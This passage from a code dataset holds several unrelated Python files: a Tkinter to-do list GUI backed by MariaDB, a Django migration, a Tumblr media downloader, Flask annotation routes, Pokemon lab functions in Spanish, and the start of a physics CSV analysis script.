Image.ANTIALIAS)\n HomiePI = ImageTk.PhotoImage(Homie)\n HomiePicture = Button(root2, image=HomiePI,bg='lightgreen', command=balikhome2).place(x=1090,y=20,width=100,height=100)\n\n # Entry Box ID\n IDText = Label(root2, text='ID Pekerjaan', font=('helvetica',30),bg='white',fg='Black', width=100, anchor='w').place(x=140,y=260)\n InputIDPekerjaan = Entry(root2,bd=5,font=('helvetica',15),bg='deepskyblue')\n InputIDPekerjaan.place(width=300,height=40,x=140,y=310)\n\n # Entry Box Username\n UsernameText = Label(root2, text='Username', font=('helvetica',30),bg='white',fg='Black', width=100, anchor='w').place(x=140,y=380)\n InputUsername = Entry(root2,bd=5,font=('helvetica',15),bg='deepskyblue')\n InputUsername.place(width=300,height=40,x=140,y=430)\n\n # Entry Box Role\n RoleText = Label(root2, text='Role', font=('helvetica',30),bg='white',fg='Black', width=100, anchor='w').place(x=140,y=500)\n InputRole = Entry(root2,bd=5,font=('helvetica',15),bg='deepskyblue')\n InputRole.place(width=300,height=40,x=140,y=550)\n\n # Entry Box Nama Pekerjaan\n NamaPekerjaanText = Label(root2, text='Nama Pekerjaan', font=('helvetica',30),bg='white',fg='Black', width=100, anchor='w').place(x=550,y=260)\n InputNamaPekerjaan = Entry(root2,bd=5,font=('helvetica',15),bg='deepskyblue')\n InputNamaPekerjaan.place(width=300,height=40,x=550,y=310)\n\n # Entry Box Deskripsi\n DescText = Label(root2, text='Deskripsi', font=('helvetica',30),bg='white',fg='Black', width=100, anchor='w').place(x=550,y=380)\n InputDesc = Entry(root2,bd=5,font=('helvetica',15),bg='deepskyblue')\n InputDesc.place(width=300,height=40,x=550,y=430)\n\n # Entry Box Status\n StatusText = Label(root2, text='Status', font=('helvetica',30),bg='white',fg='Black', width=100, anchor='w').place(x=550,y=500)\n InputStatus = Entry(root2,bd=5,font=('helvetica',15),bg='deepskyblue')\n InputStatus.place(width=300,height=40,x=550,y=550)\n \n # Function untuk tombol\n def FunctionAdd():\n # Connect to Mariadb\n conn = mariadb.connect(\n user=\"root\",\n password=\"\",\n host=\"localhost\",\n port=3306,\n database=\"monitros\"\n )\n # Get Cursor\n cur = conn.cursor()\n Query = \"INSERT INTO todolist VALUES (%d,%s,%s,%s,%s,%s)\"\n data = (InputIDPekerjaan.get(),InputUsername.get(),InputRole.get(),InputNamaPekerjaan.get(),InputDesc.get(),InputStatus.get())\n cur.execute(Query, data)\n conn.commit()\n Todolist(root2)\n\n def FunctionUpdate():\n # Connect to Mariadb\n conn = mariadb.connect(\n user=\"root\",\n password=\"\",\n host=\"localhost\",\n port=3306,\n database=\"monitros\"\n )\n # Get Cursor\n cur = conn.cursor()\n Query = \"UPDATE todolist SET Username=%s, Role=%s, Nama_Pekerjaan=%s, Deskripsi=%s, Status=%s WHERE IDPekerjaan=%d\"\n data = (InputUsername.get(),InputRole.get(),InputNamaPekerjaan.get(),InputDesc.get(),InputStatus.get(),InputIDPekerjaan.get())\n cur.execute(Query, data)\n conn.commit()\n Todolist(root2)\n\n def FunctionDelete():\n # Connect to Mariadb\n conn = mariadb.connect(\n user=\"root\",\n password=\"\",\n host=\"localhost\",\n port=3306,\n database=\"monitros\"\n )\n # Get Cursor\n cur = conn.cursor()\n Query = \"DELETE FROM todolist WHERE IDPekerjaan=%d AND Nama_Pekerjaan=%s\"\n data = (InputIDPekerjaan.get(),InputNamaPekerjaan.get())\n cur.execute(Query, data)\n conn.commit()\n Todolist(root2)\n\n # Button Tambah\n Tambah = Button(root2, text='TAMBAH',font=('helvetica',30,'bold'),bg='springgreen',bd=5,fg='Black',command=FunctionAdd).place(x=1000,y=300,width=200,height=50)\n Update = Button(root2, text='UPDATE',font=('helvetica',30,'bold'),bg='lightblue',bd=5,fg='Black',command=FunctionUpdate).place(x=1000,y=420,width=200,height=50)\n Hapus = Button(root2, text='HAPUS',font=('helvetica',30,'bold'),bg='red',bd=5,fg='Black',command=FunctionDelete).place(x=1000,y=540,width=200,height=50)\n\n # infinite looping\n root2.mainloop()\n\n# Run GUI\n#Todolist()\n","repo_name":"fadlinaufal06/Tugas-Besar-IF3152-Rekayasa-Perangkat-Lunak-STI-2021","sub_path":"src/todolist.py","file_name":"todolist.py","file_ext":"py","file_size_in_byte":9524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71870068887","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('suppliers', '0003_auto_20151107_2029'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='servicearea',\n name='name',\n ),\n ]\n","repo_name":"guialante/mozio","sub_path":"mozio/suppliers/migrations/0004_remove_servicearea_name.py","file_name":"0004_remove_servicearea_name.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38587087654","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 13 01:56:37 2017\n\n@author: Yanyu\n\"\"\"\n\nimport urllib2\nimport json\nimport os\nimport numpy as np\n\n\nclass Tumblr(object):\n def __init__(self,username,num):\n self.username=username\n self.num=num\n\n\n def get_url(self,username,start,end):\n url='http://'+username+'.tumblr.com/api/read/json?start=%i&num=%i'%(start,end)\n data=urllib2.urlopen(url).read() \n return data\n\n\n def get_resource(self,url):\n postList=[]\n \n data=json.loads(url[22:-2])\n for i in range(0,len(data[\"posts\"])):\n onepost={}\n onepost['videoList']=[]\n onepost['imageList']=[]\n onepost['slugList']=[] \n onepost['date-gmt']=data[\"posts\"][i]['date-gmt'] \n onepost['caption']='' \n if data[\"posts\"][i][\"type\"]==\"regular\":\n onepost['caption']=data[\"posts\"][i]['regular-body'] \n if data[\"posts\"][i][\"type\"]==\"video\":\n videoSourceCode = data[\"posts\"][i][\"video-player-500\"]\n onepost['videoList'].append(videoSourceCode)\n onepost['caption']=data[\"posts\"][i]['video-caption'] \n if data['posts'][i]['slug']!=None:\n onepost['slugList'].append(data['posts'][i]['slug'])\n if data[\"posts\"][i][\"type\"]==\"photo\":\n onepost['caption']=data[\"posts\"][i]['photo-caption'] \n if data[\"posts\"][i][\"photos\"]!= None:\n for j in range(0,len(data[\"posts\"][i][\"photos\"])):\n onepost['imageList'].append(data[\"posts\"][i][\"photos\"][j][\"photo-url-1280\"])\n \n postList.append(onepost)\n return postList \n \n \n def download(self,posts,video=False):\n download_path='./tbr_resource/'\n \n file_name=download_path+self.username+'/' \n \n if not os.path.isdir(file_name):\n os.makedirs(file_name)\n\n allfile=os.listdir(file_name)\n if video==False:\n for po in posts: \n mediacount=len(po['imageList'])\n for media in po['imageList']:\n media_name=po['slugList'][0]+'_%i'%mediacount+'_'+po['date-gmt'][:10]+media[-4:]\n mediacount=mediacount-1\n \n if media_name.encode('utf-8') not in allfile:\n rsp=urllib2.urlopen(media)\n with open(file_name+media_name,'wb') as fi:\n fi.write(rsp.read())\n print (media_name)\n else:\n print (' pass',media_name)\n txt_name=po['slugList'][0]+'_'+po['date-gmt'][:10]+'.txt'\n if txt_name.encode('utf-8') not in allfile:\n with open(file_name+txt_name,'wb') as fi:\n fi.write(po['caption'].encode('utf-8')) \n \n if video==True:\n for po in posts: \n if po['videoList']!=[]:\n video=po['videoList'][0]\n video_name=po['slugList'][0]+'_'+po['date-gmt'][:10]+'.mp4'\n if (video_name.encode('utf-8') not in allfile):\n if 'tweet' not in video_name:\n \n try:\n video_url='https://vtt.tumblr.com/'+video.split('\"')[-4].split('/')[6]+'.mp4'\n rsp=urllib2.urlopen(video_url)\n \n with open(r'%s'%file_name+video_name,'wb') as fi:\n fi.write(rsp.read())\n except Exception:\n print (' ERROR',video_name)\n print \n print\n else:\n print (video_name)\n else:\n print (' pass',video_name )\n \n txt_name=po['slugList'][0]+'_'+po['date-gmt'][:10]+'_.txt'\n if txt_name.encode('utf-8') not in allfile:\n with open(file_name+txt_name,'wb') as fi:\n fi.write(po['caption'].encode('utf-8')) \n print (self.username,'complete!!')\n print\n \n \n def get_post(self):\n posts=[]\n if self.num>50: \n for i in np.arange(0,self.num,50):\n onepost=self.get_resource(self.get_url(self.username,i,i+50))\n if len(onepost)!=0: \n posts=posts+onepost\n elif len(onepost)==0: \n break\n \n else:\n posts=self.get_resource(self.get_url(self.username,0,self.num)) \n return posts\n \n\n\n\n\n\n","repo_name":"nancyyanyu/snsPlay","sub_path":"src/tumblr.py","file_name":"tumblr.py","file_ext":"py","file_size_in_byte":4960,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"25995345602","text":"\nfrom flask import Blueprint, request, Response, abort, jsonify\nfrom sys import stderr\nimport json\nfrom models import Annotation, Comment\nfrom peewee import IntegrityError\nimport peewee as pw\nfrom playhouse.shortcuts import model_to_dict\n\n\nannotations_bp = Blueprint('annotations', __name__)\n\n\n@annotations_bp.route(\"/annotations/\", methods=[\"POST\"])\ndef ins_ann(topic_id):\n \"\"\"\n Request Includes annotations and corresponding text.\n\n Should insert annotation.\n\n params:\n\n \"\"\"\n try:\n data = json.loads(request.data)\n ann = Annotation.create(\n parent=topic_id,\n start_index=data['start_index'],\n end_index=data['end_index'],\n start_paragraph=data['start_paragraph'],\n end_paragraph=data['end_paragraph'],\n body=data['body'],\n deltas=0)\n ann.save()\n except json.JSONDecodeError as e:\n stderr.write(\"Unable to parse JSON request from /annotations/ \\\n reason: {}\".format(str(e)))\n except IntegrityError as e:\n stderr.write(\"Integrity error when inserting annotation: {}\".format(str(e)))\n abort(400)\n\n \"\"\"Do something with annotations.\"\"\"\n return Response(\"Hi\", status=200, mimetype=\"text/plain\")\n\n\n@annotations_bp.route(\"/annotations/comment/\", methods=[\"POST\"])\ndef ins_com(annotation_id):\n \"\"\"Insert comment on annotation.\"\"\"\n ann_comm = None\n try:\n data = json.loads(request.data)\n ann = Annotation.get_by_id(annotation_id)\n comm = Comment(\n parent=annotation_id,\n body=data['comment'],\n deltas = 0\n )\n comm.save()\n except json.JSONDecodeError as e:\n stderr.write(\"Unable to parse JSON request when attempting to \\\n add comment, reason: {}\".format(str(e)))\n\n return Response(\"Hello\", status=200, mimetype=\"text/plain\")\n\n@annotations_bp.route(\"/annotations/delta//\", methods=[\"POST\"])\ndef mod_ann_delta(annotation_id, up_or_down):\n \"\"\"Add a delta to an annotation or comment\"\"\"\n try:\n ann = Annotation.get_by_id(annotation_id)\n if up_or_down == 'true':\n ann.deltas += 1\n else:\n if ann.deltas > 0:\n ann.deltas -= 1\n ann.save()\n except pw.DoesNotExist as e:\n stderr.write(\"Unable to find annotation_id in db: {}\").format(str(e))\n \n return Response(\"Yo\", status=200, mimetype=\"text/plain\")\n\n@annotations_bp.route(\"/annotations/\", methods=[\"GET\"])\ndef get_ann_meta(topic_id):\n \"\"\"Return annotation meta data.\"\"\"\n\n annotations = Annotation.select().where(Annotation.parent == topic_id).order_by(Annotation.deltas)\n data = [model_to_dict(ann) for ann in annotations]\n\n return jsonify(data)\n\n@annotations_bp.route(\"/annotations//\", methods=[\"GET\"])\ndef get_ann_text(topic_id, annotation_id):\n \"\"\"Get text for annotation and comments.\"\"\"\n data = ''\n try:\n annotations = Annotation.select().where(Annotation.parent == topic_id and Annotation.id == annotation_id).order_by(Annotation.deltas)\n data = [model_to_dict(ann) for ann in annotations][0]\n except pw.DoesNotExist as e:\n stderr.write(\"Unable to find topic_id or annotation_id in db: {}\").format(str(e))\n except IndexError:\n stderr.write(\"Index out of bounds, that's embarressing\")\n\n return jsonify(data)\n\n\n\n\n\n\n","repo_name":"voidcase/riksdag_cheapseats","sub_path":"backend/routes/annotations.py","file_name":"annotations.py","file_ext":"py","file_size_in_byte":3469,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"74566618967","text":"\"\"\"\nLaboratorio N3: Pokemon.\nMódulo de funciones.\n\n@author: da-naran\n\"\"\"\nimport random,math\n\ndef cargar_pokemones() -> dict:\n \"\"\"\n Carga el archivo pokemon.csv\n\n Returns\n -------\n dict\n diccionario que contiene los 964 pokemones. Cada llave es un\n string que es el nombre de cada pokemon, y cada valor\n es un diccionario que representa a cada pokemon.\n\n \"\"\"\n dicc_pokemon = {}\n # cargar archivo de pokemones\n archivo_pokemones = open(\"./Data/data/pokemon.csv\")\n\n # leer el encabezado y guardarlo en una variable llamada atributos\n primera_linea = archivo_pokemones.readline()\n atributos = primera_linea.replace(\"\\n\", \"\").split(\",\")\n\n # crear los pokemones y meterlos en la lista\n linea = archivo_pokemones.readline()\n while len(linea) > 0:\n datos = linea.replace(\"\\n\", \"\").split(\",\")\n pokemon = {\"imagen\":\"./Data/imgs/pokemon/main-sprites/black-white/0.png\"}\n for i, a in enumerate(atributos):\n pokemon[a] = datos[i]\n dicc_pokemon[pokemon[\"identifier\"]] = pokemon\n linea = archivo_pokemones.readline()\n\n # cerrar el archivo\n archivo_pokemones.close()\n\n return dicc_pokemon\n\ndef cargar_imagenes(pokedex: dict) -> None:\n \"\"\"\n Procesa el archivo pokemon_imagenes.csv, y asigna una ruta\n de imagen a cada pokemon.\n\n Parameters\n ----------\n pokedex : dict\n diccionario que contiene los 964 pokemones. Cada llave es un\n string que es el nombre de cada pokemon, y cada valor\n es un diccionario que representa a cada pokemon.\n\n Returns\n -------\n None\n\n \"\"\"\n archivo_habilidades = open(\"./Data/data/pokemon_imagenes.csv\")\n linea = archivo_habilidades.readline()\n linea = archivo_habilidades.readline()\n\n while len(linea) > 0:\n datos = linea.replace(\"\\n\", \"\").split(\",\")\n pokemon = buscar_pokemon_por_ID(pokedex,datos[0])\n pokemon[\"imagen\"] = \"./Data/imgs/\"+datos[1]\n linea = archivo_habilidades.readline()\n return\n\n\ndef cargar_estadisticas(pokedex: dict) -> None:\n \"\"\"\n Procesa el archivo pokemon_estadisticas y las asigna a\n cada pokemon.\n\n Parameters\n ----------\n pokedex : dict\n diccionario que contiene los 964 pokemones. Cada llave es un\n string que es el nombre de cada pokemon, y cada valor\n es un diccionario que representa a cada pokemon.\n\n Returns\n -------\n None\n\n \"\"\"\n nombres_estadisticas = {\n \"1\": \"hp\",\n \"2\": \"attack\",\n \"3\": \"defense\",\n \"4\": \"special-attack\",\n \"5\": \"special-defense\",\n \"6\": \"speed\",\n \"7\": \"accuracy\",\n \"8\": \"evasion\",\n }\n\n archivo_estadisticas = open(\"./Data/data/pokemon_estadisticas.csv\")\n linea = archivo_estadisticas.readline()\n linea = archivo_estadisticas.readline()\n\n while len(linea) > 0:\n datos = linea.replace(\"\\n\", \"\").split(\",\")\n id_pokemon = datos[0]\n id_estadistica = datos[1]\n valor_estadistica = int(datos[2])\n estadistica = nombres_estadisticas[id_estadistica]\n pokemon = buscar_pokemon_por_ID(pokedex, id_pokemon)\n pokemon[estadistica] = valor_estadistica\n linea = archivo_estadisticas.readline()\n\n archivo_estadisticas.close()\n\n\ndef cargar_habilidades() -> dict:\n \"\"\"\n Procesa el archivo abilities.csv, guardando los datos en un \n diccionario.\n\n Returns\n -------\n dict\n Diccionario cuya llave es un string, el nombre de la habilidad,\n y como valores tiene diccionarios que representan cada\n habilidad.\n \"\"\"\n archivo_habilidades = open(\"./Data/data/abilities.csv\")\n linea = archivo_habilidades.readline()\n linea = archivo_habilidades.readline()\n\n habilidades = {}\n\n while len(linea) > 0:\n datos = linea.replace(\"\\n\", \"\").split(\",\")\n habilidades[datos[0]] = {\"nombre\": datos[1]}\n linea = archivo_habilidades.readline()\n\n return habilidades\n\n\ndef asignar_traducciones(habilidades: dict) -> dict:\n \"\"\"\n Procesa el archivo ability_names.csv, que contiene las traducciones\n de cada habilidad.\n \n Parameters\n ----------\n habilidades : dict\n DESCRIPTION.\n\n Returns\n -------\n dict\n DESCRIPTION.\n\n \"\"\"\n archivo_traducciones = open(\"./Data/data/ability_names.csv\")\n linea = archivo_traducciones.readline()\n linea = archivo_traducciones.readline()\n\n while len(linea) > 0:\n datos = linea.replace(\"\\n\", \"\").split(\",\")\n habilidad = habilidades[datos[0]]\n habilidad[\"traducciones\"] = habilidad.get(\"traducciones\", [])\n habilidad[\"traducciones\"].append(datos[2])\n linea = archivo_traducciones.readline()\n return habilidades\n\n\ndef asignar_habilidades(pokedex: dict, habilidades: dict) -> None:\n \"\"\"\n Asigna los diccionarios de habilidad a cada uno de los pokemon \n que la usan.\n\n Parameters\n ----------\n pokedex : dict\n diccionario que contiene los 964 pokemones. Cada llave es un\n string que es el nombre de cada pokemon, y cada valor\n es un diccionario que representa a cada pokemon.\n habilidades : dict\n DESCRIPTION.\n\n \"\"\"\n archivo_habilidades = open(\"./Data/data/pokemon_abilities.csv\")\n linea = archivo_habilidades.readline()\n linea = archivo_habilidades.readline()\n while len(linea) > 0:\n datos = linea.replace(\"\\n\", \"\").split(\",\")\n pokemon = buscar_pokemon_por_ID(pokedex, datos[0])\n pokemon[\"habilidades\"] = pokemon.get(\"habilidades\", [])\n pokemon[\"habilidades\"].append(habilidades[datos[1]])\n linea = archivo_habilidades.readline()\n\ndef dar_total_pokemones(pokedex: dict) -> int:\n \"\"\"\n Retorna el número total de pokemones en el pokedex.\n\n Parameters\n ----------\n pokedex : dict\n diccionario que contiene los 964 pokemones. Cada llave es un\n string que es el nombre de cada pokemon, y cada valor\n es un diccionario que representa a cada pokemon.\n\n Returns\n -------\n int\n número total\n\n \"\"\"\n return len(pokedex)\n\n\ndef buscar_pokemon_por_ID(pokedex: dict, id: str) -> dict:\n \"\"\"\n Retorna el diccionario de un pokemon dado su ID.\n\n Parameters\n ----------\n pokedex : dict\n diccionario que contiene los 964 pokemones. Cada llave es un\n string que es el nombre de cada pokemon, y cada valor\n es un diccionario que representa a cada pokemon.\n id : str\n número identificador del pokemon a buscar\n\n Returns\n -------\n dict\n diccionario del pokemon, o None si no existe pokemon con\n el ID recibido como parámetro.\n\n \"\"\"\n pokemon = None\n for p in pokedex.values():\n if p[\"id\"] == id:\n pokemon = p\n return pokemon\n\n\ndef buscar_pokemon_por_nombre(pokedex: dict, nombre: str) -> list:\n \"\"\"\n Retorna una lista con los diccionarios de pokemones que tienen en su nombre \n (identifier) la cadena recibida como parámetro.\n\n Parameters\n ----------\n pokedex : dict\n diccionario que contiene los 964 pokemones. Cada llave es un\n string que es el nombre de cada pokemon, y cada valor\n es un diccionario que representa a cada pokemon.\n nombre : str\n cadena a buscar.\n\n Returns\n -------\n list\n lista de los pokemon que tienen en su nombre (identifier)\n la cadena recibida como parámetro\n\n \"\"\"\n encontrados = []\n for k in pokedex.keys():\n if nombre.lower() in k:\n encontrados.append(pokedex[k])\n return encontrados\n\ndef dar_pokemon_siguiente(pokedex:dict,id:str)->dict:\n \"\"\"\n Dado el id de un pokemon, retorna el siguiente pokemon que\n aparece en el pokedex. La función debe hacer un recorrido\n parcial por el pokedex. Si el id corresponde al último pokemon,\n la función retorna el primero del pokedex.\n\n Parameters\n ----------\n pokedex : dict\n diccionario que contiene los 964 pokemones. Cada llave es un\n string que es el nombre de cada pokemon, y cada valor\n es un diccionario que representa a cada pokemon.\n id : str\n cadena que contiene el número identificador (id) del pokemon.\n\n Returns\n -------\n dict\n diccionario del siguiente pokemon, o None si no existe\n pokemon con un ID igual al recibido como parámetro.\n\n \"\"\"\n siguiente = None;\n i=0\n llaves = list(pokedex.keys())\n while idict:\n \"\"\"\n Dado el id de un pokemon, retorna el pokemon que aparece\n inmediatamente antes. La función debe hacer un recorrido\n parcial por el pokedex. Si el id corresponde al primer pokemon,\n la función retorna el último del pokedex.\n\n Parameters\n ----------\n pokedex : dict\n diccionario que contiene los 964 pokemones. Cada llave es un\n string que es el nombre de cada pokemon, y cada valor\n es un diccionario que representa a cada pokemon.\n id : str\n cadena que contiene el número identificador (id) del pokemon.\n\n Returns\n -------\n dict\n diccionario del pokemon anterior, o None si no existe\n pokemon con un ID igual al recibido como parámetro.\n\n \"\"\"\n anterior = None;\n i=0\n llaves = list(pokedex.keys())\n while i0 else len(llaves)-1\n anterior = pokedex[llaves[idx]]\n i+=1\n \n return anterior\n\ndef capturar_10_pokemones(pokedex: list):\n \"\"\"\n Retorna una lista con 10 pokemones escogidos aleatoriamente.\n\n Parameters\n ----------\n pokedex : list\n diccionario que contiene los 964 pokemones. Cada llave es un\n string que es el nombre de cada pokemon, y cada valor\n es un diccionario que representa a cada pokemon.\n\n Returns\n -------\n capturados : list\n Lista que contiene los 10 diccionarios de pokemones\n\n \"\"\"\n capturados = []\n lista = list(pokedex.values())\n for i in range(0, 10):\n indice_aleatorio = random.randint(0, len(lista))\n capturados.append(lista[indice_aleatorio])\n return capturados\n\n\ndef dar_maximo_pokemon(pokedex: dict, caracteristica: str) -> dict:\n \"\"\"\n Retorna el pokemon que tiene el mayor valor para una característica.\n Si existe más de uno con el mismo valor mayor, retorna\n el último que se encuentre.\n\n Parameters\n ----------\n pokedex : dict\n diccionario que contiene los 964 pokemones. Cada llave es un\n string que es el nombre de cada pokemon, y cada valor\n es un diccionario que representa a cada pokemon.\n caracteristica : str\n característica numérica a buscar\n\n Returns\n -------\n dict\n diccionario del pokemon\n\n \"\"\"\n lista_pokemon = list(pokedex.values())\n poke = lista_pokemon[0]\n for p in lista_pokemon:\n if int(p[caracteristica]) > int(poke[caracteristica]):\n poke = p\n return poke\n\n\ndef dar_minimo_pokemon(pokedex: dict, caracteristica: str) -> dict:\n \"\"\"\n Retorna el pokemon que tiene el menor valor para una característica.\n Si existe más de uno con el mismo valor menor, retorna\n el último que se encuentre.\n\n Parameters\n ----------\n pokedex : dict\n diccionario que contiene los 964 pokemones. Cada llave es un\n string que es el nombre de cada pokemon, y cada valor\n es un diccionario que representa a cada pokemon.\n caracteristica : str\n característica numérica a buscar\n\n Returns\n -------\n dict\n diccionario del pokemon\n\n \"\"\"\n lista_pokemon = list(pokedex.values())\n poke = lista_pokemon[0]\n for p in lista_pokemon:\n if int(poke[caracteristica]) > int(p[caracteristica]):\n poke = p\n return poke\n\n\ndef hacer_equipo_balanceado(pokedex: dict) -> list:\n \"\"\"\n arma un equipo de 10 pokemones.\n\n Parameters\n ----------\n pokedex : dict\n diccionario que contiene los 964 pokemones. Cada llave es un\n string que es el nombre de cada pokemon, y cada valor\n es un diccionario que representa a cada pokemon.\n\n Returns\n -------\n list\n lista con los 10 pokemones. \n\n \"\"\"\n equipo = []\n\n equipo.append(dar_maximo_pokemon(pokedex, \"attack\"))\n equipo.append(dar_minimo_pokemon(pokedex, \"attack\"))\n equipo.append(dar_maximo_pokemon(pokedex, \"defense\"))\n equipo.append(dar_minimo_pokemon(pokedex, \"defense\"))\n equipo.append(dar_maximo_pokemon(pokedex, \"hp\"))\n equipo.append(dar_minimo_pokemon(pokedex, \"hp\"))\n equipo.append(dar_maximo_pokemon(pokedex, \"speed\"))\n equipo.append(dar_minimo_pokemon(pokedex, \"speed\"))\n equipo.append(dar_minimo_pokemon(pokedex, \"weight\"))\n equipo.append(dar_maximo_pokemon(pokedex, \"weight\"))\n return equipo\n\n\ndef dar_tabla_equipo(equipo: list) -> str:\n \"\"\"\n Devuelve una cadena que resume ciertas estadísticas del\n equipo en una tabla ASCII: identifier, hp, attack, \n defense, speed.\n \n Parameters\n ----------\n equipo : list\n Equipo a analizar\n\n Returns\n -------\n str\n tabla con las cinco columnas mencionadas, y datos de los 10\n pokemones como filas.\n\n \"\"\"\n encabezado = (\n \"nombre\".center(15)\n + \"HP\".center(5)\n + \"ataque\".center(6)\n + \"defensa\".center(10)\n + \"velocidad\".center(11)\n )\n\n plantilla = \"{}{}{}{}{}\"\n\n tabla = encabezado + \"\\n\"\n for p in equipo:\n tabla += (\n plantilla.format(\n p[\"identifier\"][:15].center(15),\n str(p[\"hp\"]).center(5),\n str(p[\"attack\"]).center(6),\n str(p[\"defense\"]).center(10),\n str(p[\"speed\"]).center(11),\n )\n + \"\\n\"\n )\n return tabla\n\ndef dar_pokemon_aleatorio(pokedex:dict)->dict:\n \"\"\"\n Retorna un pokemon escogido aleatoriamente de los 946 en total.\n\n Parameters\n ----------\n pokedex : dict\n diccionario que contiene los 964 pokemones. Cada llave es un\n string que es el nombre de cada pokemon, y cada valor\n es un diccionario que representa a cada pokemon.\n\n Returns\n -------\n dict\n el diccionario de un pokemon escogido aleatoriamente\n\n \"\"\"\n return list(pokedex.values())[random.randint(0,len(pokedex))]\n\ndef preparar_para_pelea(pokemon:dict)->None:\n \"\"\"\n Asigna (o reinicia) las siguientes entradas del diccionario del\n pokemon que entra como parámetro:\n * hp_pelea: el mismo valor que está bajo la llave \"hp\"\n (el pokemon inicia la pelea con el 100% de vida)\n * habilidades_restantes: es una lista de los nombres de las\n habilidades del pokemon en español (índice 5 de las traducciones).\n * nivel: todos los pokemones suben de nivel con cada pelea que\n ganan. Si la entrada nivel no existe en el diccionario,\n se asigna el valor de 1.\n\n Parameters\n ----------\n pokemon : dict\n diccionario del pokemon.\n\n \"\"\"\n pokemon[\"hp_pelea\"] = pokemon[\"hp\"]\n pokemon[\"habilidades_restantes\"] = []\n for h in pokemon[\"habilidades\"]:\n pokemon[\"habilidades_restantes\"].append(h[\"traducciones\"][5])\n pokemon[\"nivel\"] = pokemon.get(\"nivel\",1)\n\ndef ejecutar_ataque(\n pokemon: dict, adversario: dict, habilidad: str, mi_turno: bool\n) -> dict:\n \"\"\"\n Esta función aplica el daño de un pokemon atacante a un atacado,\n y retorna un diccionario con el formato especificado. Hay dos\n posibilidades de ataque, dependiendo del valor de mi_turno:\n \n * El pokemon del jugador ataca\n * El adversario ataca\n \n El daño se calcula con la fórmula del enunciado, y se debe aplicar\n siempre y cuando los dos pokemones tengan \"hp_pelea\" mayor a cero.\n Si alguno de los dos llegó a un hp_pelea menor que 1, se informa\n el siguiente mensaje: \" se ha desmayado!;Has .\",\n donde se remplaza por el nombre del pokemon que ha sido\n vencido (en mayúsculas), y por \"ganado\" o \"perdido\", \n dependiendo de quién ganó.\n \n Cuando se realiza daño al pokemon atacado, se informa el siguiente\n mensaje: usa ;DAÑO A : , donde\n y corresponden a los nombres (en mayúsculas)\n de los respectivos pokemones, es \"ATAQUE\" si habilidad es\n None, de lo contrario es el nombre de la habilidad usada en mayúsculas.\n \n Parameters\n ----------\n pokemon : dict\n Pokemon del jugador.\n adversario : dict\n Adversario controlado por la computadora.\n habilidad : str\n Nombre (en español) de la habilidad que se va a usar, \n o None si se hace un ataque normal.\n mi_turno : bool\n True si es turno del jugador, False si es turno de la\n computadora.\n\n Returns\n -------\n dict\n Diccionario con el pokemon del jugador, su adversario,\n y una cadena de mensajes del ataque, separados por ;.\n\n \"\"\"\n info = {\"pokemon\": pokemon, \"adversario\": adversario, \"mensajes\":\"\"}\n if pokemon[\"hp_pelea\"] <= 0:\n info[\"mensajes\"] = pokemon[\"identifier\"].upper() + \" se ha desmayado!;Has perdido.\"\n elif adversario[\"hp_pelea\"] <= 0:\n info[\"mensajes\"] = adversario[\"identifier\"].upper() + \" se ha desmayado!;Has ganado.\"\n else:\n if mi_turno == True:\n atacante = pokemon\n atacado = adversario\n else:\n atacante = adversario\n atacado = pokemon\n \n nivel = atacante[\"nivel\"]\n ataque = atacante[\"attack\"]\n defensa = atacado[\"defense\"]\n restantes = atacante[\"habilidades_restantes\"]\n \n if habilidad is None:\n poder = 70\n movimiento = \"ATAQUE\"\n elif len(restantes) > 0:\n poder = 120\n restantes.pop(restantes.index(habilidad))\n movimiento = habilidad.upper()\n \n modifier = random.uniform(0.85,1.0)\n damage = math.ceil((math.floor(math.floor(math.floor(2 * nivel / 5 + 2) * poder * ataque / defensa) / 50) + 2) * modifier)\n \n atacado[\"hp_pelea\"] -= damage\n \n mensajes = atacante[\"identifier\"].upper() + \" usa \" + movimiento + \"!;\"\n mensajes += \"Daño a \" + atacado[\"identifier\"].upper() + \": \" + str(damage)\n info[\"mensajes\"] = mensajes\n \n return info\n","repo_name":"Introduction-to-Programming-with-Python/Pokemon-Fight","sub_path":"Code/pokemon_funciones_solucion.py","file_name":"pokemon_funciones_solucion.py","file_ext":"py","file_size_in_byte":18701,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4463208242","text":"import glob\nimport pandas as pd\nimport numpy as np\nimport re\nfrom prettytable import PrettyTable\nfrom collections import OrderedDict\nindir = \"/storage/user/qnguyen/DelayedPhoton/CMSSW_10_6_6/src/DelayedPhotonID/preprocessing/skim_analyzer_output_reproduce_minimalCut_cutBothPho_decay20/csv_out_highCtau/\"\nindir2 = \"/storage/user/qnguyen/DelayedPhoton/CMSSW_10_6_6/src/DelayedPhotonID/preprocessing/skim_analyzer_output_triggerEffCuts_noDistanceCut/csv_out\"\n\nleadingSignal = list(sorted(glob.glob(indir+\"/DelayedPhoton_GMSB*.csv\")))\nsubLeadingSignal = list(sorted(glob.glob(indir2+\"/GMSB*.csv\")))\n\ndef extract_num(string):\n sample_num = list(map(int, re.findall(r'\\d+', string.split('/')[-1])))\n if len(sample_num) > 1:\n sample_lambda, sample_ctau = sample_num[0], sample_num[1]\n if sample_ctau == 0:\n if \"0_001cm\" in string:\n sample_ctau = 0.001\n elif \"0_01cm\" in string:\n sample_ctau = 0.01\n elif \"0_1cm\" in string:\n sample_ctau = 0.1\n\n return sample_lambda, sample_ctau\n else:\n print(\"Can't extract number from {}\".format(string))\n return 0, 0\n\nleadPho = OrderedDict()\nsecondPho = OrderedDict()\ntotalLead = 0\ntotalSecond = 0\n\nfor signal in leadingSignal:\n this_lambda, this_ctau = extract_num(signal.split('/')[-1])\n signalFile = pd.read_csv(signal)\n if (int(this_lambda), float(this_ctau)) in leadPho:\n leadPho[(int(this_lambda), float(this_ctau))] += len(signalFile) 